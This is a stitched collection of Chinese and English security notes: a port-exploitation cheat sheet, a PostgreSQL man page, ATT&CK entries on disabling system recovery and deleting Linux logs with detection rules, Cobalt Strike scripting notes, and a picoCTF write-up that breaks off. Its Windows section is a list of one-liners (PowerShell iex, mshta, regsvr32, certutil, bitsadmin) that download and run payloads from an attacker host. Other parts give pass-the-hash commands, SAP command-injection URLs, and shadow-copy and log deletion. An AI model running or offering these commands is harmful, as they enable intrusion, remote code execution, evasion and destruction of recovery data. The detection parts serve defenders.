域传送漏洞 - 现在域传送漏洞也少了,可以考虑的方向是子域名接管 - CVE-2015-7547 --- ## 67/68 `DHCP` - [CVE-2018-1111 DHCP 客户端脚本代码执行漏洞](../协议安全/Protocol-Exploits.md#dhcp) --- ## 102 `S7comm` / `S7CommPlus` - [S7comm 相关](../../ICS/S7comm相关.md) - [信息收集](./信息收集.md#工控资产) - [PLC攻击](../../Power-PenTest.md#plc攻击) --- ## 123 `ntp` --- ## 135 `wmi` **HASH 传递** ```bash # 常⽤的⼯具是 impacket 中的 wimiexec,读取回显需要 135 和445 端⼝开放 ./wmiexec.py test/Administrator:Abcd1234@192.168.1.100 # 若遇到只开放135的情况,可以增加 nooutput 参数,不进⾏输出 ``` --- ## 137/139/389/445/901 `Samba` - [samba 相关漏洞](../软件服务安全/CS-Exploits.md#samba) - 未授权访问 - CVE-2015-0240 远程代码执行漏洞 - CVE-2017-7494 远程代码执行漏洞 --- ## 139 `SMB` / `microsoft-ds` - [SMB 相关](../协议安全/Protocol-Exploits.md#smb) - 枚举用户 - 暴力破解 --- ## 161 `SNMP` - [SNMP 相关](../协议安全/Protocol-Exploits.md#snmp) - 爆破,默认团体字符串"public" --- ## 389 `LDAP` - [LDAP 相关](../协议安全/Protocol-Exploits.md#ldap) - 弱口令 --- ## 443 `HTTPS` - [SSL&TLS 安全性测试](../协议安全/Protocol-Exploits.md#ssl) - 心脏出血 --- ## 445 `smb` **HASH 传递** ```bash # Impacket python3 psexec.py -hashes 0:xxxxxxxxcxxxxxxxxxxxxxx Administrator@192.168.xx.xx python3 smbexec.py -hashes 00000000000000000000000000000000:xxxxxxxxcxxxxxxxxxxxxxx Administrator@192.168.xx.xx ``` --- ## 502 `Modbus` - [信息收集](./信息收集.md#工控资产) - [PLC攻击](../../../Power-PenTest.md#plc攻击) --- ## 554/8554 `rtsp` - [RTSP 弱口令](../../IOT/硬件安全/Device-Exploits.md#camera) - 暴力破解 - [Tek-Security-Group/rtsp_authgrinder](https://github.com/Tek-Security-Group/rtsp_authgrinder) --- ## 873 `rsync` - [Rsync未授权访问](../软件服务安全/CS-Exploits.md#rsync) --- ## 902 `vmware_authentication_daemon` --- ## 990 `sftp` --- ## 1090/1099 `RMI` - [JAVA RMI 反序列化远程命令执行漏洞](../软件服务安全/CS-Exploits.md#java) --- ## 1433 `mssql` - 信息收集,nmap 提供相应 [脚本](../../安全工具/Nmap.md#数据库) - 账号很多都是默认的 `sa` - 爆破弱口令 --- ## 1494 `Citrix Receiver` - [Citrix Receiver](../软件服务安全/CS-Exploits.md#citrix_receiver) --- ## 1521 `oracle` - Linux环境,一般 SSH 也会有个 oracle 的账号,可以爆破一下 - 信息收集,nmap 提供相应 [脚本](../../安全工具/Nmap.md#数据库) , 爆出账号密码可以用 odat 工具尝试 getshell - [CVE-2012-1675 爆破TNS](../软件服务安全/CS-Exploits.md#oracle) - 爆破弱口令 - 注: Oracle 帐户在密码被连续输入错误 3 次的情况下就会锁定,而锁定后必须手动解除,否则这个帐户一直在锁定状态下,不能使用,爆破时请注意 --- ## 1883 `mqtt` - [mqtt](../协议安全/Protocol-Exploits.md#mqtt) --- ## 2049 `nfs` - [nfs未授权访问](../软件服务安全/CS-Exploits.md#nfs) --- ## 2181 `ZooKeeper` - [ZooKeeper未授权访问](../软件服务安全/CS-Exploits.md#zookeeper) --- ## 2375 `Docker` - [Docker Remote API 未授权访问漏洞](../软件服务安全/CS-Exploits.md#docker) --- ## 2598 `Citrix Receiver` - [Citrix Receiver](../软件服务安全/CS-Exploits.md#citrix_receiver) --- ## 3000 `Gitea` / `ppp` --- ## 3128 `squid` --- ## 3306 `mysql、mariadb` - 信息收集,nmap 提供相应 [脚本](../../安全工具/Nmap.md#数据库) - 爆破弱口令,爆出账号密码可以用 sqlmap 尝试 getshell --- ## 3333 `stratum` > fofa: protocol="stratum" ## 3389 `RDP` - CVE 漏洞 - MS12-020 , 虽然很古老,但部分企业内网中还是存在 - MS17-010 , MSF 都有 poc 和 exp 直接 search 就行 - CVE-2019-0708 , MSF 都有 poc 和 exp 直接 search 就行 - 爆破弱口令 - [foryujian/yujianrdpcrack](https://github.com/foryujian/yujianrdpcrack) - 御剑 RDP 爆破工具 - 效果还行 - [SNETCracker](https://github.com/shack2/SNETCracker) --- ## 4100 `Sysbase` - 爆破弱口令 --- ## 4592 `WebAccess` - [CVE-2017-16720](../软件服务安全/CS-Exploits.md#webaccess) --- ## 4786 `smi` > fofa: protocol="smi" - [CVE-2018-0171](../../IOT/硬件安全/Device-Exploits.md#cisco) --- ## 4848 `GlassFish` - 爆破弱口令 --- ## 5000 `sybase` / `DB2` - 爆破弱口令 --- ## 5432 `PostgreSQL` - 未授权访问 - 爆破弱口令 - [权限提升](../软件服务安全/CS-Exploits.md#postgresql) --- ## 5555 - [ADB调试](../../MobileSec/Android安全.md#ADB调试) --- ## 5632 `pcanywhere` - 弱口令 - 抓取密码 - https://blog.csdn.net/Fly_hps/article/details/80377199 --- ## 5800/5900/5901 `VNC` - 信息收集,nmap 提供相应 [脚本](../../安全工具/Nmap.md#常见) - [vnc渗透](../协议安全/Protocol-Exploits.md#vnc) 一般来说,VNC 认证只需要密码,只有在多用户登录的场景才会需要 "用户名" 关于多用户登录的场景可以参考以下2篇文章 - [使用VNC实现多用户登录linux系统](https://www.ibm.com/developerworks/cn/opensource/os-multiuserloginsvnc/index.html) - [使用 VNC 实现多用户登录](https://www.cnblogs.com/shengulong/p/5762297.html) --- ## 5984 `Couchdb` - [未授权访问漏洞](../软件服务安全/CS-Exploits.md#couchdb) - [垂直权限绕过漏洞](../软件服务安全/CS-Exploits.md#couchdb) - [任意命令执行漏洞](../软件服务安全/CS-Exploits.md#couchdb) --- ## 5985/5986 `Winrm(http)` / `Winrm(https)` WinRM 是 Microsoft 对 WS-Management 协议的实现,WS-Management 协议即⼀种基于标准简单对象访问协议的协议,它让来⾃不同供应商的硬件和操作系统能够互相操作。 winRM 的默认端⼝为 5985(http)或 5986(https)。winRM 横向移动同时适⽤于⼯作组和域环境。 **HASH 传递** ```bash # evil-winrm gem install evil-winrm evil-winrm -i 192.168.xx.xx -u Administrator -H xxxxxxxxxxxxxxxxxxxxxxxxxxxx ``` ```bash # CrackMapExec cme winrm 192.168.xx.xx -u admin -H 00000000000000000000000000000000:xxxxxxxxxxxxxxxxxxxxxxxxxxxx -x whoami ``` --- ## 6129 `Dameware` - [CVE-2019-3980](../软件服务安全/CS-Exploits.md#dameware-mini-remote-control) --- ## 6379 `Redis` - 爆破弱口令 - [Redis未授权访问](../软件服务安全/CS-Exploits.md#redis) --- ## 6970 `CISCO-UCM 的 HTTP 服务` - [Cisco Unified Communications Manager](../../IOT/硬件安全/Device-Exploits.md#cisco-unified-communications-manager) --- ## 7001/7002 通常是 `weblogic` 中间件端口 - 弱口令,ssrf,反序列化 - [weblogic渗透](../Web安全/BS-Exploits.md#weblogic) --- ## 8123 `ClickHouse` - `/?query=SHOW%20DATABASES` --- ## 80/443/8080~10000 通常是 `IIS` / `apache` / `tomcat` - 对于 IIS 测试短文件名泄露或 MS15-034 - 直接访问出现默认页面或报错可能是路径不对,可以尝试爆破路径 - 对于 tomcat,可以尝试爆破弱口令 tomcat 的管理页面账号密码,注意:tomcat 默认是没有管理员账户的,这个只有开发配置后才有,所以先确认一下目标有没有配置管理账号,如果你点击 Manager App 或 Host Manager 就直接报错说明没有配置当然也可能是限制了访问. - [框架和中间件渗透](../Web安全/BS-Exploits.md#框架和中间件) `其他各类 web 服务` - 如果有登录页面就去搜搭建教程尝试默认口令,或访问初始化安装的页面 - 如果目标采用的是开源服务,去看看项目 issue - 这块内容太多就不一一列举 详情请看 [BS-Exploits](../Web安全/BS-Exploits.md#服务) --- ## 11211 `memcached` - [memcached未授权访问](../软件服务安全/CS-Exploits.md#memcached) --- ## 27017/27018 `mongodb` > shodan : "product:MongoDB" > shodan : "MongoDB Server Information" port:27017 -authentication - 弱口令 - 未授权访问 --- ## 50000/50001 `SAP` - `http://<target>:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=cmd.exe /c ipconfig /all` - `http://<target>:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=cat /etc/passwd` --- ## 50010/50030/50070 `Hadoop` - [Hadoop未授权访问](../软件服务安全/CS-Exploits.md#hadoop)
sec-knowleage
.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "CLUSTER" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands" .SH NAME CLUSTER \- 根据一个索引对某个表集簇 .SH SYNOPSIS .sp .nf CLUSTER \fIindexname\fR ON \fItablename\fR CLUSTER \fItablename\fR CLUSTER .sp .fi .SH "DESCRIPTION 描述" .PP \fBCLUSTER\fR 指示PostgreSQL 基于索引 indexname 的度量对表 table 进行存储建簇。索引必须已经在表 tablename. 上定义。 .PP 当对一个表建簇后,该表的物理存储将基于索引信息进行。 建簇是一次性操作:也就是说,当表随后被更新后,改变的内容不会建簇。 也就是说,系统不会试图按照索引顺序对更新过的记录重新建簇。 如果需要,可以通过周期性地手工执行该命令的方法重建簇。 .PP 在对一个表建簇之后,PostgreSQL 会记忆在哪个索引上建立的簇。 CLUSTER tablename 的形式就在表以前建簇的同一个索引上建簇。 .PP 没有任何参数的 \fBCLUSTER\fR 将导致当前数据库里所有调用它的用户所有的表都被建簇。 (绝不会对不包括进来的表建簇。)这种形式的 CLUSTER 不能在一个事务或者函数里面调用。 .PP 在对一个表进行建簇的时候,则在其上请求一个 ACCESS EXCLUSIVE 锁。 这样就避免了在 CLUSTER 完成之前执行任何其他的数据库操作(包括读写)。 参阅 Section 12.3 获取有关数据库锁定的更多信息。 .SH "PARAMETERS 参数" .TP \fB\fIindexname\fB\fR 一个索引名称。 .TP \fB\fItablename\fB\fR 准备建簇的表的名称(可能有模式修饰)。 .SH "NOTES 注意" .PP 如果你只是随机的访问表中的行, 那么在堆表中的数据的实际存储顺序是无关紧要的。 但是,如果你对某些数据的访问多于其他数据, 而且有一个索引将这些数据分组,那你就将从使用 CLUSTER 中获益。 如果你从一个表中请求一定索引范围的值, 或者是一个索引过的值对应多行, CLUSTER 也会有助于应用, 因为如果索引标识出第一匹配行所在的堆存储页,所有其他行也可能已经在同一堆存储页里了, 这样便节省了磁盘访问的时间,加速了查询。 .PP 在这个建簇的操作过程中,系统先创建一个按照索引顺序建立的表的临时拷贝。 同时也建立表上的每个索引的临时拷贝。因此,你需要磁盘上有足够的剩余空间, 至少是表大小和索引大小的和。 .PP 因为 CLUSTER 记忆建簇信息,我们可以在第一次的时候手工对表进行建簇, 然后设置一个类似 VACUUM 的时间, 这样我们就可以周期地自动对表进行建簇了。 .PP 因为规划器记录着有关表的排序的统计,所以我们建议在新近建簇的表上运行 ANALYZE。 否则,规划器可能会选择很差劲的查询规划。 .PP 还有一种建簇的方法。 CLUSTER 命令将原表按你声明的索引重新排列。 这个动作在操作大表时可能会很慢, 因为每一行都从堆存储页里按索引顺序取出,如果存储页表没有排序, 整个表是随机存放在各个页面的,因而移动的每一行都要进行一次磁盘页面操作。 PostgreSQL 有一个缓冲, 但一个大表的主体是不可能都放到缓冲去的。 另外一种对表建簇的方法是 .sp .nf CREATE TABLE \fInewtable\fR AS SELECT \fIcolumnlist\fR FROM \fItable\fR ORDER BY \fIcolumnlist\fR; .sp .fi 这个用法使用PostgreSQL 排序的代码 ORDER BY 来创建一个需要的顺序,在对未排序的数据操作时通常速度比索引扫描快得多。 然后你可以删除旧表,用 ALTER TABLE ... RENAME将 newtable 改成旧表名, 并且重建该表所有索引。但是,这个方法不保留 OID,约束,外键关系, 赋予的权限,以及表的其它附属的属性 ---- 所有这些属性都必须手工重建。 .SH "EXAMPLES 例子" .PP 以雇员的 emp_ind 属性对employees关系建簇。 .sp .nf CLUSTER emp_ind ON emp; .sp .fi .PP 使用以前用过的同一个索引对employees表进行建簇: .sp .nf CLUSTER emp; .sp .fi .PP 对以前建过簇的所有表进行建簇: .sp .nf CLUSTER; .sp .fi .SH "COMPATIBILITY 兼容性" .PP 在 SQL 标准里没有 CLUSTER 语句。 .SH "SEE ALSO 参见" clusterdb [\fBclusterdb\fR(1)] .SH "译者" .B Postgresql 中文网站 .B 何伟平 <laser@pgsqldb.org>
sec-knowleage
# T1490-win-禁止系统恢复 ## 来自ATT&CK的描述 攻击者可能会删除操作系统的内置数据,并关闭帮助已损坏系统恢复的服务。操作系统可能包含可帮助修复损坏系统的功能,例如备份目录,卷影副本和自动修复功能。攻击者可以禁用或删除这些系统恢复功能,以增强销毁数据和加密数据的影响。 攻击者可以使用许多本机Windows实用程序来禁用或删除系统恢复功能: - vssadmin.exe 可用于删除系统上的所有卷影副本 - vssadmin.exe delete shadows /all /quiet - Windows Management Instrumentation可用于删除卷影副本 - wmic shadowcopy delete - wbadmin.exe 可用于删除Windows备份目录 - wbadmin.exe delete catalog -quiet - bcdedit.exe 可用于通过修改启动配置数据来禁用Windows自动恢复功能 - bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no ## 测试案例 wmic shadowcopy delete ## 检测日志 windows 安全日志 ## 测试复现 ```bash C:\Users\Administrator>wmic shadowcopy delete 没有可用实例。 ``` ## 测试留痕 4688 Windows安全日志,进程创建 ```yml 已创建新进程。 创建者主题: 安全 ID: QAX\Administrator 帐户名: Administrator 帐户域: QAX 登录 ID: 0x7169C 目标主题: 安全 ID: NULL SID 帐户名: - 帐户域: - 登录 ID: 0x0 进程信息: 新进程 ID: 0x1304 新进程名称: C:\Windows\System32\wbem\WMIC.exe 令牌提升类型: %%1936 强制性标签: Mandatory Label\High Mandatory Level 创建者进程 ID: 0x15d0 创建者进程名称: C:\Windows\System32\cmd.exe 进程命令行: wmic shadowcopy delete ``` ## 检测规则/思路 ### sigma规则 ```yml title: windows下删除系统恢复功能 description: Windows下使用wmic shadowcopy delete删除卷影副本 tags: T1490 status: experimental author: 12306Bro logsource: product: windows service: security detection: selection1: EventID: 4688 #进程创建 New Processname: 'bcdedit.exe' #进程信息>新进程名称 Processcommandline: - '* set * bootstatuspolicy ignoreallfailures' #进程信息>进程命令行 - '* set * recoveryenabled no' #进程信息>进程命令行 selection2: EventID: 4688 #进程创建 New Processname: 'vssadmin.exe' #进程信息>新进程名称 Processcommandline|contain: 'delete shadows' #进程信息>进程命令行 selection3: EventID: 4688 #进程创建 New Processname: 'wmic.exe' #进程信息>新进程名称 Processcommandline: 'shadowcopy delete' #进程信息>进程命令行 condition: 1 of selection* level: high ``` ## 建议 使用进程监视来检测涉及禁止系统恢复的二进制文件的执行和命令行参数,例如vssadmin、wbadmin和bcdedit。Windows事件日志,例如:提示系统目录已删除的事件ID524可能包含与可疑活动相关的事件。 ## 参考推荐 MITRE-ATT&CK-T1490 <https://attack.mitre.org/techniques/T1490/>
sec-knowleage
# Windows - Download and execute methods ## Downloaded files location - C:\Users\<username>\AppData\Local\Microsoft\Windows\Temporary Internet Files\ - C:\Users\<username>\AppData\Local\Microsoft\Windows\INetCache\IE\<subdir> - C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV ## Powershell From an HTTP server ```powershell powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://webserver/payload.ps1')|iex" # Download only (New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/PowerUp.ps1", "C:\Windows\Temp\PowerUp.ps1") Invoke-WebRequest "http://10.10.10.10/binary.exe" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\binary.exe" # Download and run Rubeus, with arguments $data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/Rubeus.exe') $assem = [System.Reflection.Assembly]::Load($data) [Rubeus.Program]::Main("s4u /user:web01$ /rc4:1d77f43d9604e79e5626c6905705801e /impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split()) # Execute a specific method from an assembly $data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/lib.dll') $assem = [System.Reflection.Assembly]::Load($data) $class = $assem.GetType("ClassLibrary1.Class1") $method = $class.GetMethod("runner") $method.Invoke(0, $null) ``` From a Webdav server ```powershell powershell -exec bypass -f \\webdavserver\folder\payload.ps1 ``` ## Cmd ```powershell cmd.exe /k < \\webdavserver\folder\batchfile.txt ``` ## Cscript / Wscript ```powershell cscript //E:jscript \\webdavserver\folder\payload.txt ``` ## Mshta ```powershell mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")")) ``` ```powershell mshta http://webserver/payload.hta ``` ```powershell mshta \\webdavserver\folder\payload.hta ``` ## Rundll32 ```powershell rundll32 \\webdavserver\folder\payload.dll,entrypoint ``` ```powershell rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close(); ``` ## Regasm / Regsvc @subTee ```powershell C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll ``` ## Regsvr32 @subTee ```powershell regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll ``` ```powershell regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll ``` ## Odbcconf ```powershell odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt} ``` ## Msbuild ```powershell cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml" ``` ## Certutil ```powershell certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll ``` ```powershell certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe ``` ## Bitsadmin ```powershell bitsadmin /transfer mydownloadjob /download /priority normal http://<attackerIP>/xyz.exe C:\\Users\\%USERNAME%\\AppData\\local\\temp\\xyz.exe ``` ## References - [arno0x0x - Windows oneliners to download remote payload and execute arbitrary code](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
sec-knowleage
# T1027-005-linux-主机上的监测组件删除 ## 来自ATT&CK的描述 攻击者可能会删除或更改主机系统上生成的记录,包括日志和可能捕获的文件,例如隔离的恶意软件。日志的位置和格式会有所不同,但攻击者的操作行为都会被操作系统进行记录,比如典型的windows日志、linux和Mac的bash历史记录或者/var/log下的日志文件。 攻击者干扰事件的记录,可以破坏安全设备的检测与告警,从而导致恶意攻击事件未被通报。由于缺乏足够的数据来确定发生的异常情况,还可能使安全人员的分析和事件响应更加困难。 ## 测试案例 rm -rf /var/log/* ## 检测日志 linux audit日志 (值得注意的是:Ubuntu默认情况下没有audit,需要下载安装并配置相关策略) bash历史记录 ## 测试复现 icbc@icbc:/$ sudo rm -r /var/log/icbc.log ## 测试留痕 基于audit日志 暂无 基于bash历史记录 icbc@icbc:/$ history 20 sudo rm -r /var/log/icbc.log (注意这里删除的是测试log文件) ## 检测规则/思路 ### splunk检测规则 #### 基于audit日志 index=linux sourcetype=linux_audit syscall=263 | table host,auid,uid,euid,exe,key index=linux sourcetype=linux_audit type=PATH name=*.log nametype=delete #### 基于bash历史记录 index=linux sourcetype="bash_history" rm * .log | table host, user_name, bash_command ### 建议 暂无 ## 参考推荐 MITRE-ATT&CK-T1027-005 <https://attack.mitre.org/techniques/T1027/005/>
sec-knowleage
# 0x00 Cobalt Strike 这几章基本是官方文档我修改了一些,这章没有编程基础可能看起来很吃力,可以先看看sleep2.1文档,当然我在 `0x02 Listeners`中简单的讲了下每行代码是干什么的可以先看这个再回头看其他的。 Aggressor脚本是Cobalt Strike中的拓展,大多数Cobalt Strike对话框和功能都是作为独立模块编写的,它们向Aggressor Script引擎公开了一些接口。 内部脚本default.cna定义了默认的Cobalt Strike体验,这个脚本定义了Cobalt Strike的工具栏按钮,弹出菜单,它还为大多数Cobalt Strike事件格式化输出. ## 键盘快捷键 脚本可以创建键盘快捷键,使用bind绑定键盘快捷键,这个例子显示了 Hello World!在按住Ctrl和H的对话框中 ``` bind Ctrl + H { show_message(“Hello World!”); } ``` ## 弹出菜单 脚本也可以添加到Cobalt Strike的菜单结构或重新定义它,popup关键字为弹出钩子构建菜单层次结构。 这是定义Cobalt Strike帮助菜单的代码 ``` popup help { item("&Homepage", { url_open("https://www.cobaltstrike.com/"); }); item("&Support", { url_open("https://www.cobaltstrike.com/support"); }); item("&Arsenal", { url_open("https://www.cobaltstrike.com/scripts?license=" . licenseKey()); }); separator(); item("&System Information", { openSystemInformationDialog(); }); separator(); item("&About", { openAboutDialog(); }); } ``` 简单的说就是`popup `定义一个菜单栏 然后用 `item` 构建他的菜单目录,`separator()` 是一个分隔符函数,注册新菜单需要用 `menubar("&xxx", "xxx");` 。 ``` popup pgraph { menu "&Layout" { item "&Circle" { graph_layout($1, "circle"); } item "&Stack" { graph_layout($1, "stack"); } menu "&Tree" { item "&Bottom" { graph_layout($1, "tree-bottom"); } item "&Left" { graph_layout($1, "tree-left"); } item "&Right" { graph_layout($1, "tree-right"); } item "&Top" { graph_layout($1, "tree-top"); } } item "&None" { graph_layout($1, "none"); } } } ``` `menu` 来构建主菜单中的子菜单 ## 自定义输出 Aggressor Script中的set关键字定义了如何格式化事件并将其输出呈现给用户 ``` set EVENT_SBAR_LEFT { return "[" . tstamp(ticks()) . "] " . mynick(); } set EVENT_SBAR_RIGHT { return "[lag: $1 $+ ]"; } ``` 上面的代码定义了Cobalt Strike的事件日志(视图 - >事件日志)中状态栏的内容,此状态栏的左侧显示当前时间和您的昵称。右侧显示了Cobalt Strike客户端和团队服务器之间的消息往返时间。 你可以覆盖Cobalt Strike默认脚本中的任何设置选项,使用你关注的事件的定义创建自己的文件,加载到Cobalt Strike中,Cobalt Strike将使用你对内置定义的定义。 ## 活动 使用on关键字为事件定义处理程序,当Cobalt Strike连接到团队服务器并准备就绪事件将触发。 ``` on ready { show_message("Ready for action!"); } ``` Cobalt Strike为各种情况生成事件。使用* meta-event观看Cobalt Strike发生的所有事件 ``` on * { local('$handle $event $args'); $event = shift(@_); $args = join(" ", @_); $handle = openf(">>eventspy.txt"); writeb($handle, "[ $+ $event $+ ] $args"); closef($handle); } ``` # 0x01 Data Model Cobalt Strike的团队服务器存储您的主机,服务,凭据和其他信息,它还广播此信息并将其提供给所有客户。 ## API 使用&data_query函数查询Cobalt Strike的数据模型,此功能可以访问Cobalt Strike客户端维护的所有状态和信息,使用&data_keys获取您可能查询的不同数据的列表,此示例查询Cobalt Strike数据模型中的所有数据,并将其导出到文本文件 ``` command export { local('$handle $model $row $entry $index'); $handle = openf(">export.txt"); foreach $model (data_keys()) { println($handle, "== $model =="); println($handle, data_query($model)); } closef($handle); println("See export.txt for the data."); } ``` 其中CS给我们提供了很多API 后期我们讲到 ,数据模型中的每个函数返回一个数组,数组中包含条目字典。 # 0x02 Listeners ## Listeners API Aggressor Script会聚当前连接到的所有团队服务器的侦听器信息,这样可以轻松地将会话传递给另一个团队服务器。要获取所有侦听器名称的列表,请使用`&listeners`函数。如果您只想使用本地侦听器,请使用`&listeners_local`,在与`listener_info()`功能解决了一个侦听器名称其配置信息,此示例将所有侦听器及其配置转储到Aggressor Script控制台. ``` command listeners { local('$name $key $value'); foreach $name (listeners()) { println("== $name == "); foreach $key => $value (listener_info($name)) { println("$[20]key : $value"); } } } ``` 首先使用command 定义个指令 listeners 你可以把他当成定义函数的形势,无伤大雅,然后 `local` 分析指定的字符串并将字符串中的所有变量声明为局部变量 `foreach` 循环`listeners()` 获取所以的监听器名称 再循环打印每个`listener_info($name) ` 的数据,可能说的不是很清楚用python简单的表示下。 ``` listeners = {'http':{'payload':'windows/beacon_http/reverse_http'}, 'smb':{'payload':'windows/beacon_smb/reverse_smb'} } for name in listeners.items(): print name for key in listeners[name]: print key,listeners[name][key] ``` 我们执行Aggressor Script脚本后可以看到 ``` aggressor> listeners == http == payload : windows/beacon_http/reverse_http port : 8090 host : 192.168.59.134 useragent : Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; MASP) dns : 0 name : http beacons : 192.168.59.134 status : success ``` 其他都是一些functions的讲解,后面再说 # 0x03 Beacon ## Metadata Cobalt Strike为每个Beacon分配会话ID,此ID是随机数。Cobalt Strike将任务和元数据与每个Beacon ID相关联,使用`&beacons`查询所有当前Beacon会话的元数据。使用`&beacon_info`查询特定Beacon会话的元数据,这是一个转储有关每个Beacon会话的信息的脚本,这个其实跟Listeners差不多 ``` command beacons { local('$entry $key $value'); foreach $entry (beacons()) { println("== " . $entry['id'] . " =="); foreach $key => $value ($entry) { println("$[20]key : $value"); } println(); } } ``` ## Aliases 您可以使用alias关键字定义新的Beacon命令,这是一个在Beacon控制台中打印Hello World的hello别名,就是定义个beacon的命令。 ``` alias hello { blog($1, "Hello World!"); } ``` 可以把参数传输给 alias定义的名称 其中 $0 是别名和参数,$1 是别名输入的Beacon的ID 具体可以参考他的Function表。 ``` alias saywhat { blog($1, "My arguments are: " . substr($0, 8) . "\n"); } ``` # 0x04 文末 本章简单翻译了下文档 大概讲了下Aggressor的功能 ### 本文如有错误,请及时提醒,以免误导他人
sec-knowleage
# Time's Up Reverse Engineering, 400 points ## Description: > Time waits for no one. Can you solve this before time runs out? ## Solution: Let's run the attached file: ```console root@kali:/media/sf_CTFs/pico/Times_Up# ./times-up Challenge: (((((185787775) + (-952261277)) + ((-46657828) + (837965729))) - (((1568696032) + (1659000306)) + ((-603020797) + (1768531904)))) - ((((-1716398977) + (-1336981012)) + ((169639072) + (1679069168))) - (((967152949) + (541599975)) + ((1236322328) - (799424436))))) Setting alarm... Solution? Alarm clock ``` We got a mathematical expression, and shortly after, the program got killed by an alarm. How long is the alarm? Let's use `strace` to see: ```console root@kali:/media/sf_CTFs/pico/Times_Up# ./times-up Challenge: (((((185787775) + (-952261277)) + ((-46657828) + (837965729))) - (((1568696032) + (1659000306)) + ((-603020797) + (1768531904)))) - ((((-1716398977) + (-1336981012)) + ((169639072) + (1679069168))) - (((967152949) + (541599975)) + ((1236322328) - (799424436))))) Setting alarm... Solution? Alarm clock root@kali:/media/sf_CTFs/pico/Times_Up# strace ./times-up execve("./times-up", ["./times-up"], 0x7ffc13ffff80 /* 22 vars */) = 0 brk(NULL) = 0x5569a8f2d000 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3 fstat(3, {st_mode=S_IFREG|0644, st_size=138446, ...}) = 0 mmap(NULL, 138446, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fe7a2030000 close(3) = 0 openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3 read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\260A\2\0\0\0\0\0"..., 832) = 832 fstat(3, {st_mode=S_IFREG|0755, st_size=1824496, ...}) = 0 mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fe7a202e000 mmap(NULL, 1837056, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7fe7a1e6d000 mprotect(0x7fe7a1e8f000, 1658880, PROT_NONE) = 0 mmap(0x7fe7a1e8f000, 1343488, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x22000) = 0x7fe7a1e8f000 mmap(0x7fe7a1fd7000, 311296, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x16a000) = 0x7fe7a1fd7000 mmap(0x7fe7a2024000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1b6000) = 0x7fe7a2024000 mmap(0x7fe7a202a000, 14336, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7fe7a202a000 close(3) = 0 arch_prctl(ARCH_SET_FS, 0x7fe7a202f540) = 0 mprotect(0x7fe7a2024000, 16384, PROT_READ) = 0 mprotect(0x5569a8f1b000, 4096, PROT_READ) = 0 mprotect(0x7fe7a2079000, 4096, PROT_READ) = 0 munmap(0x7fe7a2030000, 138446) = 0 rt_sigaction(SIGALRM, {sa_handler=SIG_DFL, sa_mask=[ALRM], sa_flags=SA_RESTORER|SA_RESTART, sa_restorer=0x7fe7a1ea4940}, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0 fstat(1, {st_mode=S_IFCHR|0600, st_rdev=makedev(136, 0), ...}) = 0 brk(NULL) = 0x5569a8f2d000 brk(0x5569a8f4e000) = 0x5569a8f4e000 write(1, "Challenge: (((((796509316) + (-1"..., 281Challenge: (((((796509316) + (-1598581952)) + ((329558096) + (-1452703832))) + (((721761900) + (-205391708)) - ((1948475778) + (-1428472112)))) + ((((-466274084) + (865555127)) + ((-487887526) + (-2106753504))) - (((-1742981120) + (692410312)) + ((-2046178240) + (-1815708775))))) ) = 281 write(1, "Setting alarm...\n", 17Setting alarm... ) = 17 setitimer(ITIMER_REAL, {it_interval={tv_sec=0, tv_usec=0}, it_value={tv_sec=0, tv_usec=5000}}, {it_interval={tv_sec=0, tv_usec=0}, it_value={tv_sec=0, tv_usec=0}}) = 0 fstat(0, 